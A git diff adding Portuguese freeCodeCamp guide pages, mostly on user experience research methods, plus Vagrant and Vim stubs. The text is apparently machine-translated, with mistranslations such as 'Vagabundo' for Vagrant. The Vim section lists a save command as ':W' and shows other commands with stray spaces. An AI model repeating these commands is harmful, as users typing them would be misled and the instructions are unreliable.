+A pesquisa contextual é um método de entrevista semi-estruturado para obter informações sobre o contexto de uso, em que os usuários são primeiramente questionados sobre um conjunto de questões padrão e depois observados e questionados enquanto trabalham em seus próprios ambientes.
+
+Como os usuários são entrevistados em seus próprios ambientes, os dados de análise são mais realistas do que os dados de laboratório. A investigação contextual é baseada em um conjunto de princípios que permitem que ela seja moldada em diferentes situações. Essa técnica é geralmente usada no início do processo de design e é boa para obter informações ricas sobre práticas de trabalho, os ambientes social, técnico e físico e as ferramentas do usuário.
+
+Os quatro princípios da investigação contextual são:
+
+*   Foco - Planeje a investigação, com base em uma compreensão clara do seu propósito
+*   Contexto - Vá para o local de trabalho do cliente e assista a eles fazerem seu próprio trabalho
+*   Parceria - Fale com os clientes sobre o seu trabalho e envolva-os na descoberta de aspectos não articulados do trabalho
+*   Interpretação - Desenvolver um entendimento compartilhado com o cliente sobre os aspectos do trabalho que importam
+
+Os resultados da investigação contextual podem ser usados ​​para definir requisitos, melhorar um processo, aprender o que é importante para usuários e clientes e apenas aprender mais sobre um novo domínio para informar projetos futuros.
\ No newline at end of file
diff --git a/client/src/guide/portuguese/user-experience-research/customer-empathy/index.md b/client/src/guide/portuguese/user-experience-research/customer-empathy/index.md
new file mode 100644
index 0000000000..d9e6ebae7e
--- /dev/null
+++ b/client/src/guide/portuguese/user-experience-research/customer-empathy/index.md
@@ -0,0 +1,11 @@
+---
+title: Customer Empathy
+localeTitle: Empatia do Cliente
+---
+## Empatia do Cliente
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/user-experience-research/customer-empathy/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### Mais Informações:
\ No newline at end of file
diff --git a/client/src/guide/portuguese/user-experience-research/customer-interviews/index.md b/client/src/guide/portuguese/user-experience-research/customer-interviews/index.md
new file mode 100644
index 0000000000..af11adddd9
--- /dev/null
+++ b/client/src/guide/portuguese/user-experience-research/customer-interviews/index.md
@@ -0,0 +1,34 @@
+---
+title: Customer Interviews
+localeTitle: Entrevistas com clientes
+---
+## Entrevistas com clientes
+
+Construir personas às vezes envolve pesquisa. Esta pesquisa pode ser na forma de entrevistas com clientes. Essa é uma interação cara-a-cara com usuários existentes ou potenciais. Ele é usado para obter informações qualitativas sobre os usuários do seu produto.
+
+Geralmente é conduzido por duas pessoas: uma faz o questionamento enquanto a outra pessoa faz anotações. As perguntas são geralmente centradas em torno de:
+
+*   Fundo.
+*   Informações demográficas
+*   Identificadores
+*   Objetivos
+*   Desafios
+*   Soluções possíveis.
+
+Antes de se comprometer com a construção de um produto, é importante saber para quem você está construindo. Depois de definir o que o público-alvo (quem você antecipa seus clientes) para o seu produto, você deve encontrar um grupo de pessoas que atenda a esses critérios e fazer perguntas. Por exemplo, se você está planejando construir uma plataforma para novas mamães para agendar datas de jogos para seus filhos, você deve perguntar a algumas mães sobre o que elas precisam do seu software.
+
+Quando você está fazendo suas entrevistas com clientes, é importante se concentrar no problema que está resolvendo, e não na tecnologia que você está criando. Você deseja ter uma conversa aberta com seu cliente em potencial, mas tenha algumas diretrizes para as informações que deseja deles. Pergunte ao seu cliente em potencial se existe algo que você não tenha perguntado, ou se ele pode pensar em outra pessoa com quem você deveria conversar.
+
+Quando você entrar em contato com alguém para participar de uma entrevista com o cliente, lembre-se de que você não está vendendo nada ainda. Seja respeitoso com o tempo deles; você pode obter apenas 10 a 20 minutos. Se você puder compensá-los pelo tempo, isso é uma boa ideia.
+
+Tenha cuidado ao elaborar suas perguntas de que elas não forçam a resposta que você está procurando para validar suas suposições. Às vezes, o texto de uma pergunta pode fazer com que um respondente dê uma resposta que normalmente não pensariam em dar. Ao perguntar sobre o comportamento do cliente em potencial, pergunte sobre o presente e não sobre o que ele pretende fazer no futuro. Isto dará uma visão mais precisa e menos idealista de como o seu cliente irá interagir com o seu produto.
+
+Evite falar sobre o seu produto. Você não quer estar lançando isso: ainda não foi construído. Você quer aprender mais sobre os problemas enfrentados por seus usuários para poder criar a melhor solução. Isso também elimina a necessidade de acordos de não divulgação. Não pergunte ao seu cliente em potencial para assinar um.
+
+Incentive seu entrevistado a contar histórias. Você está procurando dados qualitativos neste momento. Ter essas histórias também será benéfico quando você vai lançar o seu produto, porque mostra que você tem uma maior compreensão do problema que você está resolvendo. Tire muitas notas para lembrar dessas histórias!
+
+#### Mais Informações:
+
+*   [Fazer e Não Fazer Entrevistas com Clientes](https://venturewell.org/customer-interviews/)
+*   [Apresentação de dicas de entrevista ao cliente de Zachary Cohn](https://www.slideshare.net/ZacharyCohn/18-customer-interview-tips)
+*   "Entrevistas de Usuários - O Guia do Iniciante". theUXreview, 25 out. 2017, http://theuxreview.co.uk/user-interviews-the-beginners-guide/.
\ No newline at end of file
diff --git a/client/src/guide/portuguese/user-experience-research/customer-journey-maps/index.md b/client/src/guide/portuguese/user-experience-research/customer-journey-maps/index.md
new file mode 100644
index 0000000000..dccea957a9
--- /dev/null
+++ b/client/src/guide/portuguese/user-experience-research/customer-journey-maps/index.md
@@ -0,0 +1,29 @@
+---
+title: Customer Journey Maps
+localeTitle: Mapas da jornada do cliente
+---
+## Mapas da jornada do cliente
+
+### O que é o mapa de jornada do cliente?
+
+O mapeamento de jornada do cliente é uma ferramenta para mapear toda a história do usuário como um todo - desde o contato inicial, uso até o abandono do serviço.
+
+### Como parece?
+
+Os mapas de jornada do cliente podem ter muitos formulários e geralmente consistem em uma descrição das necessidades, sentimentos, motivações, pontos de contato (por exemplo, e-mail, linha telefônica de atendimento ao cliente, vários dispositivos etc.), interações e os membros da equipe responsáveis ​​pela solução. essas interações.
+
+![Exemplo de mapa de jornada do cliente](https://www.dragon1.com/images/customer-journey-mapping-2.png)
+
+### Como criar um?
+
+A construção de tal mapa começa com uma pesquisa minuciosa do usuário - quantitativa e qualitativa e, em seguida, mapeia-a para os resultados desejados do serviço.
+
+### Por que precisamos disso?
+
+Ele ajuda a equipe a construir ou manter um serviço, aplicativo ou site para ver o contexto de toda a experiência em um só lugar. Também ajuda a identificar pontos fracos e oportunidades do processo. A principal razão para criar esse mapa é manter o foco no usuário e não nos aspectos técnicos, organizacionais ou outros aspectos da construção do serviço.
+
+### Mais informações sobre como criar o mapa da jornada do cliente:
+
+*   [Como criar um mapa da jornada do cliente](https://uxmastery.com/how-to-create-a-customer-journey-map/)
+*   [Desambiguação - Mapeamento da jornada do cliente](http://www.disambiguity.com/customer-journey-mapping/)
+*   [Veja este vídeo para mais informações](https://youtu.be/mSxpVRo3BLg)
\ No newline at end of file
diff --git a/client/src/guide/portuguese/user-experience-research/data-driven-design/index.md b/client/src/guide/portuguese/user-experience-research/data-driven-design/index.md
new file mode 100644
index 0000000000..f71295b42a
--- /dev/null
+++ b/client/src/guide/portuguese/user-experience-research/data-driven-design/index.md
@@ -0,0 +1,13 @@
+---
+title: Data Driven Design
+localeTitle: Design orientado por dados
+---
+## Design orientado por dados
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/user-experience-research/data-driven-design/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### Mais Informações:
+
+[Veja este vídeo para mais informações](https://youtu.be/N_kcRB8O3aI)
\ No newline at end of file
diff --git a/client/src/guide/portuguese/user-experience-research/defining-the-problem/index.md b/client/src/guide/portuguese/user-experience-research/defining-the-problem/index.md
new file mode 100644
index 0000000000..e18a31bde8
--- /dev/null
+++ b/client/src/guide/portuguese/user-experience-research/defining-the-problem/index.md
@@ -0,0 +1,11 @@
+---
+title: Defining the Problem
+localeTitle: Definindo o problema
+---
+## Definindo o problema
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/user-experience-research/defining-the-problem/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### Mais Informações:
\ No newline at end of file
diff --git a/client/src/guide/portuguese/user-experience-research/diary-studies/index.md b/client/src/guide/portuguese/user-experience-research/diary-studies/index.md
new file mode 100644
index 0000000000..52f653b5e8
--- /dev/null
+++ b/client/src/guide/portuguese/user-experience-research/diary-studies/index.md
@@ -0,0 +1,13 @@
+---
+title: Diary Studies
+localeTitle: Estudos de diário
+---
+## Estudos de diário
+
+Para realmente entender as necessidades da população de usuários-alvo, você deve observá-las. Observações, principalmente na forma de problemas que o usuário está tendo, hacks que o usuário usa, ou erros que o usuário freqüentemente encontra, são cruciais para entender as necessidades dos usuários. Muitas vezes, esses problemas são tão habitualmente encontrados pelo usuário, que eles não conseguem reconhecer que isso é uma necessidade e, portanto, a observação é fundamental. No entanto, e se você quiser resolver uma necessidade em uma área que é difícil de observar? Ou, e se você quiser coletar um grande número de observações e a observação direta for muito difícil de implementar? Se uma tarefa é feita com pouca freqüência ou esporadicamente ou seria difícil de observar por qualquer motivo, mas você gostaria de observá-la, muitas vezes você pode fazer uso de um estudo diário.
+
+Em um estudo diário, você dá a alguém um diário que eles completam em um tempo ou intervalo especificado. Eles registram, para uma tarefa específica, um dado específico, como, por exemplo, como se sentem após as compras ou o que comeram no jantar. Os estudos diários podem ser gravados em vários meios. Revistas, imagens, áudio e vídeo são todas formas válidas para um usuário registrar as informações relevantes. É claro, tenha em mente que o melhor meio é aquele que será mais conveniente para o usuário usar no contexto da tarefa. Não se pode esperar que uma pessoa que está dirigindo longas distâncias escreva durante a viagem. Em vez disso, uma gravação de áudio seria mais apropriada nessa situação. Por outro lado, se você quiser que alguém registre seus pensamentos durante uma palestra, o registro no diário é uma solução melhor, já que falar durante o silêncio de uma palestra seria inadequado. Quanto mais fácil for para o usuário gravar dados para você, melhores serão os resultados. Considere também que os usuários podem esquecer de registrar entradas para você. Se você fornece prática e faz bom uso de dicas ambientais, isso pode ajudar muito seu estudo. Por exemplo, se você sabe que muitos de seus usuários-alvo têm smartphones e os usará com frequência no contexto em que deseja gravar, digamos, um passeio de ônibus ou metrô, mostre-lhes como registrar os dados em seus smartphones. A baixa barreira para os usuários serem capazes de atender às suas solicitações significa que eles estarão mais propensos a lembrar de fazer isso e mais propensos a fornecer bons dados para você usar em seu projeto.
+
+#### Mais Informações:
+
+[Estratégias de Needfinding](https://www.youtube.com/watch?v=c-rUGDomtz4)
\ No newline at end of file
diff --git a/client/src/guide/portuguese/user-experience-research/empathy-maps/index.md b/client/src/guide/portuguese/user-experience-research/empathy-maps/index.md
new file mode 100644
index 0000000000..e73d8c8aaf
--- /dev/null
+++ b/client/src/guide/portuguese/user-experience-research/empathy-maps/index.md
@@ -0,0 +1,27 @@
+---
+title: Empathy Maps
+localeTitle: Mapas de empatia
+---
+## Mapas de empatia
+
+![Um diagrama do mapa de empatia, incluindo um rosto humano no centro, rodeado pelas frases "Think & Feel?" "Vejo?" "Diga e faça?" "Ouvir?" "Dor e ganho".](https://www.solutionsiq.com/images/Empathy-Map-No-Stickies.png)
+
+O mapeamento de empatia é uma ferramenta usada para antecipar os pensamentos, emoções, necessidades e reações de um usuário de interface. Eles podem ser usados ​​junto com as personas do usuário no User Experience Research no início do processo de design, para determinar quais problemas o usuário está enfrentando e como o design da interface pode ajudar a resolvê-los.
+
+É um componente importante do design centrado no usuário. O que o usuário precisa e quer? Quais desafios existem entre o usuário e seus objetivos? No design da Experiência do Usuário, a empatia é alcançada através da realização de pesquisas com usuários e usando-as como um roteiro para orientar decisões de design.
+
+Mapas de empatia, como personas, são feitos no início do processo de design. Eles são usados ​​para sintetizar a pesquisa do usuário para criar uma representação do usuário realista, mas fictícia. Os mapas de empatia são rápidos de esboçar e, embora o conteúdo do mapa de empatia possa mudar, as áreas de conteúdo comuns incluem:
+
+Os mapas de empatia funcionam melhor quando os pesquisadores os fazem depois de conduzir entrevistas com os usuários. Sessões de mapeamento de empatia se beneficiam de uma gama diversificada de membros da equipe: partes interessadas, líderes de suporte ao cliente, fornecedores, desenvolvedores de produtos, vendedores e redatores.
+
+*   User Image - Como os mapas de empatia geralmente são feitos rapidamente, você pode incluir um pequeno esboço de seu usuário no centro do mapa.
+*   Pensando - Quais são as motivações, objetivos, desejos do usuário?
+*   Fazendo - Qual ação o seu usuário está fazendo? Como é o comportamento deles?
+*   Dizendo - O que ele ou ela está dizendo? Isso entra em conflito com suas ações? Use citações e palavras-chave.
+*   Sentimento - Que emoções o seu usuário está sentindo?
+*   Dores - Existe algum problema que seu usuário está enfrentando?
+*   Ganhos - Quais são os resultados positivos que o usuário espera?
+
+Os mapas de empatia podem variar um pouco, mas esse é o formato que você verá com bastante frequência. Quando seu mapa estiver completo, você poderá usá-lo para discernir as necessidades do usuário.
+
+![Mapa de empatia](https://user-images.githubusercontent.com/33093078/32018246-e8c2b0d6-b98e-11e7-8d00-1a8374c18fdd.png)
\ No newline at end of file
diff --git a/client/src/guide/portuguese/user-experience-research/feature-analysis/index.md b/client/src/guide/portuguese/user-experience-research/feature-analysis/index.md
new file mode 100644
index 0000000000..ac8d3ec58c
--- /dev/null
+++ b/client/src/guide/portuguese/user-experience-research/feature-analysis/index.md
@@ -0,0 +1,11 @@
+---
+title: Feature Analysis
+localeTitle: Análise de recursos
+---
+## Análise de recursos
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/user-experience-research/feature-analysis/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### Mais Informações:
\ No newline at end of file
diff --git a/client/src/guide/portuguese/user-experience-research/feature-matrix/index.md b/client/src/guide/portuguese/user-experience-research/feature-matrix/index.md
new file mode 100644
index 0000000000..256ec7d128
--- /dev/null
+++ b/client/src/guide/portuguese/user-experience-research/feature-matrix/index.md
@@ -0,0 +1,11 @@
+---
+title: Feature Matrix
+localeTitle: Matriz de recursos
+---
+## Matriz de recursos
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/user-experience-research/feature-matrix/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### Mais Informações:
\ No newline at end of file
diff --git a/client/src/guide/portuguese/user-experience-research/heuristic-review/index.md b/client/src/guide/portuguese/user-experience-research/heuristic-review/index.md
new file mode 100644
index 0000000000..253173689a
--- /dev/null
+++ b/client/src/guide/portuguese/user-experience-research/heuristic-review/index.md
@@ -0,0 +1,11 @@
+---
+title: Heuristic Review
+localeTitle: Revisão heurística
+---
+## Revisão heurística
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/user-experience-research/heuristic-review/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### Mais Informações:
\ No newline at end of file
diff --git a/client/src/guide/portuguese/user-experience-research/hypotheses-and-validating-assumptions/index.md b/client/src/guide/portuguese/user-experience-research/hypotheses-and-validating-assumptions/index.md
new file mode 100644
index 0000000000..c271a418b3
--- /dev/null
+++ b/client/src/guide/portuguese/user-experience-research/hypotheses-and-validating-assumptions/index.md
@@ -0,0 +1,11 @@
+---
+title: Hypotheses and Validating Assumptions
+localeTitle: Hipóteses e premissas de validação
+---
+## Hipóteses e premissas de validação
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/user-experience-research/hypotheses-and-validating-assumptions/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### Mais Informações:
\ No newline at end of file
diff --git a/client/src/guide/portuguese/user-experience-research/index.md b/client/src/guide/portuguese/user-experience-research/index.md
new file mode 100644
index 0000000000..76554f7109
--- /dev/null
+++ b/client/src/guide/portuguese/user-experience-research/index.md
@@ -0,0 +1,9 @@
+---
+title: User Experience Research
+localeTitle: Pesquisa de experiência do usuário
+---
+## Pesquisa de experiência do usuário
+
+A Pesquisa de Experiência do Usuário é um campo que enfoca a compreensão dos comportamentos, necessidades, intenções, expectativas e motivações dos usuários por meio de técnicas de observação, análise de tarefas e outras metodologias de feedback.
+
+Nesta seção, teremos guias para uma ampla variedade de conceitos de pesquisa sobre experiência do usuário.
\ No newline at end of file
diff --git a/client/src/guide/portuguese/user-experience-research/landing-page-testing/index.md b/client/src/guide/portuguese/user-experience-research/landing-page-testing/index.md
new file mode 100644
index 0000000000..af4131d774
--- /dev/null
+++ b/client/src/guide/portuguese/user-experience-research/landing-page-testing/index.md
@@ -0,0 +1,11 @@
+---
+title: Landing Page Testing
+localeTitle: Teste de página de destino
+---
+## Teste de página de destino
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/user-experience-research/landing-page-testing/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### Mais Informações:
\ No newline at end of file
diff --git a/client/src/guide/portuguese/user-experience-research/qualitative-testing/index.md b/client/src/guide/portuguese/user-experience-research/qualitative-testing/index.md
new file mode 100644
index 0000000000..001438faad
--- /dev/null
+++ b/client/src/guide/portuguese/user-experience-research/qualitative-testing/index.md
@@ -0,0 +1,63 @@
+---
+title: Qualitative Testing
+localeTitle: Teste qualitativo
+---
+## Teste qualitativo
+
+Testes qualitativos - que podem assumir a forma de entrevistas ou outros testes de usabilidade observados diretamente (podem ser presenciais ou via ferramentas de videoconferência, como o Skype ou o Google Hangouts) - tendem a ser exploratórios e com o objetivo de obter mais informações. compreensão profunda da experiência do usuário. O teste qualitativo tem como objetivo coletar informações sobre as experiências e motivações da vida cotidiana de um usuário ou grupo para ver como esses detalhes podem afetar o uso do produto ou da ferramenta.
+
+### Resultados
+
+Ao usar métodos de pesquisa qualitativa, é importante que o pesquisador reconheça que pode ter um efeito nos resultados da pesquisa. Como é a experiência humana que está sendo pesquisada em vez de dados concretos (número de cliques, tendências de localização de login, etc.), é difícil permanecer completamente objetivo durante os testes ou na avaliação dos resultados. Os resultados também não serão necessariamente reproduzíveis. Isso ocorre porque os fatores que afetam a experiência de um usuário são variados e podem mudar de um dia para o outro. Esses fatores podem assumir a forma de um usuário ser mais estressado um dia do que outro devido a novos eventos em sua vida ou ter mais responsabilidades naquele dia, usuários tendo experiências de vida completamente diferentes, mau tempo afetando o humor do usuário e qualquer outra coisa que afeta a vida pessoal ou emocional de uma pessoa.
+
+Os resultados dos testes qualitativos são normalmente mostrados como temas ou categorias em vez de números. 1
+
+### Exemplo
+
+Aqui está um ótimo exemplo da [The Interaction Design Foundation](https://www.interaction-design.org/literature/article/best-practices-for-qualitative-user-research) sobre a diferença entre pesquisa quantitativa e pesquisa qualitativa:
+
+> Para ilustrar a diferença, digamos que você queira estudar os hábitos de exercício de um grupo de usuários. Você pode optar por estudá-los usando métodos de pesquisa quantitativos ou qualitativos. **Se você usar um método _quantitativo_** , poderá criar uma pesquisa on-line e distribuí-la para um grande número de participantes. Os participantes devem responder perguntas pré-definidas sobre seus hábitos de exercício, como “Quantas horas por semana você se exercita?”. Se você fizer seu trabalho obedientemente, as respostas da pesquisa podem ser numericamente resumidas sem preconceitos de sua própria opinião ou experiência pessoal com o exercício.
+> 
+> **Se você usar um método _qualitativo_** , poderá optar por fazer entrevistas com um número limitado de participantes, onde conversará com os participantes sobre quando, onde e como eles se exercitam. Como a entrevista é parecida com uma conversa, seus resultados dependerão de como você faz perguntas de acompanhamento para as respostas dos participantes - e como você faz isso dependerá, em certa medida, da sua personalidade e da sua própria experiência com o exercício. Da mesma forma, os resultados da entrevista também, em certa medida, dependem de uma interpretação subjetiva do que o participante lhe disse.
+
+### Métodos de teste
+
+De " [12 técnicas de pesquisa UX (Quantitative e Qualitative)](https://medium.com/ux-design-web-mobile-virtual-reality/12-ux-research-techniques-quantitative-and-qualitative-1a37bcb1914e) " por Kevin Dalvi:
+
+1.  **Entrevistas -** normalmente cobre três tipos de entrevistas:
+
+*   a) **entrevistas dirigidas em** que o pesquisador faz perguntas específicas aos usuários e tenta comparar respostas com outros usuários
+*   b) **entrevistas não direcionadas,** onde o pesquisador tenta ter mais de uma discussão geral com o (s) usuário (s)
+*   c) **entrevistas etnográficas em** que o pesquisador observa o (s) usuário (s) em seu próprio ambiente para entender como abordam determinados aspectos, realizam determinadas tarefas.
+
+1.  **Pesquisas e questionários** - são uma maneira rápida de coletar informações de um grande número de usuários, mas sua limitação óbvia é a falta de interação entre o pesquisador e os usuários.
+    
+2.  **Testes de Usabilidade -** envolve solicitar que o (s) usuário (s) use o aplicativo / produto para atingir determinados objetivos. Existem três variações de tais testes:
+    
+
+*   a) **testes moderados** - em que os usuários são levados para o laboratório e recebem tarefas ou testes específicos para serem executados.
+*   b) **testes não moderados** - em que os usuários concluem o teste em seu próprio tempo, geralmente remotamente.
+*   c) **teste de guerrilha** - uma forma mais casual de teste em que usuários aleatórios em um local social ou comunitário são solicitados a usar o aplicativo / produto e fornecer feedback informal.
+
+1.  **Classificação de cartas** - o principal objetivo de um teste de classificação de cartões é entender como os usuários percebem relacionamentos e hierarquia entre vários conteúdos, categorias e outras informações. Isso é normalmente usado para gerar arquitetura de informações apropriada ou mapas do site.
+    
+2.  **Testes em árvore -** semelhante à classificação por cartão, o objetivo principal é testar se o produto / aplicativo tem o nível apropriado de hierarquia de informações que está sendo projetado dentro do produto.
+    
+3.  **Testes A / B -** concentra-se em fornecer ao usuário duas ou mais opções e documentar as preferências do usuário entre as opções. Há também testes de testes A / B avançados ou focados em aspectos específicos do produto, como os elementos de design, hierarquia de informações, navegação e muito mais.
+    
+4.  **Persona Development** -… é essencialmente uma representação de um grupo de usuários que exibem um padrão muito semelhante em termos de comportamento de usar o aplicativo, independentemente de idade, sexo, localização, educação e profissão.
+    
+
+### Fontes
+
+1.  [Mortensen, Ditte. "Melhores práticas para pesquisa qualitativa de usuários". _Fundação de Design de Interação._ Janeiro de 2018. Acessado em: 13 de fevereiro de 2018.](https://www.interaction-design.org/literature/article/best-practices-for-qualitative-user-research)
+
+### Recursos
+
+" [Métodos de pesquisa qualitativa em design UX](https://www.slideshare.net/uxtalktokyo/ux-tokyo-talk-6-markus) " por Markus Heberlein (apresentação do SlideShare, mostrada no UX Tokyo Talk 2014)
+
+" [12 técnicas de pesquisa de UX (quantitativa e qualitativa)](https://medium.com/ux-design-web-mobile-virtual-reality/12-ux-research-techniques-quantitative-and-qualitative-1a37bcb1914e) " por Kevin Dalvi
+
+" [Guia Completo de Iniciantes para a Pesquisa UX](http://www.uxbooth.com/articles/complete-beginners-guide-to-design-research/) " por [UX Booth](http://www.uxbooth.com/)
+
+" [A Crash Course in UX Design Research](https://uxdesign.cc/a-crash-course-in-ux-design-research-ea00c3307c82) " por Matt Lavoie no [UX Collective](https://uxdesign.cc/)
\ No newline at end of file
diff --git a/client/src/guide/portuguese/user-experience-research/quantitative-testing/index.md b/client/src/guide/portuguese/user-experience-research/quantitative-testing/index.md
new file mode 100644
index 0000000000..3cc9eb6ed5
--- /dev/null
+++ b/client/src/guide/portuguese/user-experience-research/quantitative-testing/index.md
@@ -0,0 +1,11 @@
+---
+title: Quantitative Testing
+localeTitle: Teste Quantitativo
+---
+## Teste Quantitativo
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/user-experience-research/quantitative-testing/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### Mais Informações:
\ No newline at end of file
diff --git a/client/src/guide/portuguese/user-experience-research/storyboards/index.md b/client/src/guide/portuguese/user-experience-research/storyboards/index.md
new file mode 100644
index 0000000000..528f4ef44d
--- /dev/null
+++ b/client/src/guide/portuguese/user-experience-research/storyboards/index.md
@@ -0,0 +1,18 @@
+---
+title: Storyboards
+localeTitle: Storyboards
+---
+## Storyboards
+
+Os storyboards são usados ​​para pintar uma imagem visual da jornada de um usuário com um produto ou software.
+
+O storyboard envolve o uso de imagens visuais para criar uma história. Isso cria uma impressão mais duradoura do que o texto simples.
+
+Como prática recomendada, é o primeiro esboço da funcionalidade esperada de um projeto (por exemplo, um site, aplicativo, serviço, etc.). Ele tem o objetivo de auxiliar no planejamento dos requisitos do projeto e delinear as etapas necessárias (fluxo de trabalho) exigidas pelo término de uma tarefa. Por exemplo, um esboço de uma página da web de autenticação é apresentado (antes de qualquer código), que tipo de dados é exigido do usuário, quais ações são necessárias para executar no backend e qual é a saída esperada da ação.
+
+O storyboard é uma ótima técnica quando se tenta desenvolver ou explicar uma experiência. O storyboard não requer habilidades de arte, mas enfatiza o visual e a criação da narrativa em uma explicação. Muito parecido com uma história em quadrinhos, o storyboard leva imagens individuais (muito parecido com um instantâneo) de uma história. Essas imagens são então colocadas em uma determinada ordem, produzindo uma obra de arte seqüencial em que o cérebro do espectador forma as conexões entre as imagens para produzir a narrativa. Ao criar um storyboard, os "instantâneos" selecionados para contar a história podem ser refletidos criticamente para uma melhor revisão da posição do autor e da perspectiva da história. Os storyboards podem ser usados ​​para uma infinidade de áreas, incluindo codificação, uma vez que podem desenvolver uma compreensão abrangente e unificada das funções e da experiência do usuário pretendida ao usar o software. Um dos principais benefícios do storyboard é que o uso de histórias é mais envolvente do que listar fatos e pode aumentar a memória do espectador, por isso os storyboards podem ser ótimas ferramentas ao fazer apresentações.
+
+#### Mais Informações:
+
+*   Para saber mais sobre o storyboard, acesse este [link](https://uxplanet.org/storyboarding-in-ux-design-b9d2e18e5fab?gi=84d3b1dc4704)
+*   [Wikipedia](https://en.wikipedia.org/wiki/Storyboard)
\ No newline at end of file
diff --git a/client/src/guide/portuguese/user-experience-research/testing-assumptions/index.md b/client/src/guide/portuguese/user-experience-research/testing-assumptions/index.md
new file mode 100644
index 0000000000..6633fe1b1c
--- /dev/null
+++ b/client/src/guide/portuguese/user-experience-research/testing-assumptions/index.md
@@ -0,0 +1,11 @@
+---
+title: Testing Assumptions
+localeTitle: Suposições de teste
+---
+## Suposições de teste
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/user-experience-research/testing-assumptions/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### Mais Informações:
\ No newline at end of file
diff --git a/client/src/guide/portuguese/user-experience-research/understanding-competitors/index.md b/client/src/guide/portuguese/user-experience-research/understanding-competitors/index.md
new file mode 100644
index 0000000000..c478a3edaa
--- /dev/null
+++ b/client/src/guide/portuguese/user-experience-research/understanding-competitors/index.md
@@ -0,0 +1,11 @@
+---
+title: Understanding Competitors
+localeTitle: Entendendo os concorrentes
+---
+## Entendendo os concorrentes
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/user-experience-research/understanding-competitors/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### Mais Informações:
\ No newline at end of file
diff --git a/client/src/guide/portuguese/user-experience-research/usability-testing/index.md b/client/src/guide/portuguese/user-experience-research/usability-testing/index.md
new file mode 100644
index 0000000000..cdfa36f0dd
--- /dev/null
+++ b/client/src/guide/portuguese/user-experience-research/usability-testing/index.md
@@ -0,0 +1,11 @@
+---
+title: Usability Testing
+localeTitle: Testando usabilidade
+---
+## Testando usabilidade
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/user-experience-research/usability-testing/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### Mais Informações:
\ No newline at end of file
diff --git a/client/src/guide/portuguese/vagrant/index.md b/client/src/guide/portuguese/vagrant/index.md
new file mode 100644
index 0000000000..11664d3a36
--- /dev/null
+++ b/client/src/guide/portuguese/vagrant/index.md
@@ -0,0 +1,11 @@
+---
+title: Vagrant 
+localeTitle: Vagabundo
+---
+## Vagabundo
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/mathematics/quadratic-equations/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### Mais Informações:
\ No newline at end of file
diff --git a/client/src/guide/portuguese/vim/basic-usage/index.md b/client/src/guide/portuguese/vim/basic-usage/index.md
new file mode 100644
index 0000000000..61a60e1a04
--- /dev/null
+++ b/client/src/guide/portuguese/vim/basic-usage/index.md
@@ -0,0 +1,47 @@
+---
+title: Basic Usage
+localeTitle: Uso Básico
+---
+## Uso Básico do VIM
+
+### Abrir arquivo
+
+*   Execute vim ou vi e abra o nome do arquivo fornecido.
+
+### Inserir modo
+
+*   Depois de abrir a página, insira I e você verá o texto "Insert Mode" na parte inferior da tela. A partir daqui, você pode fazer as alterações desejadas no texto do seu arquivo.
+
+### Salvar Arquivo
+
+*   :W
+
+### Salvar e sair
+
+*   : x
+*   SHIFT ZZ
+*   : wq
+
+### Sair do arquivo se nenhuma alteração for feita
+
+*   : q
+
+### Sair do arquivo e desfazer quaisquer alterações feitas
+
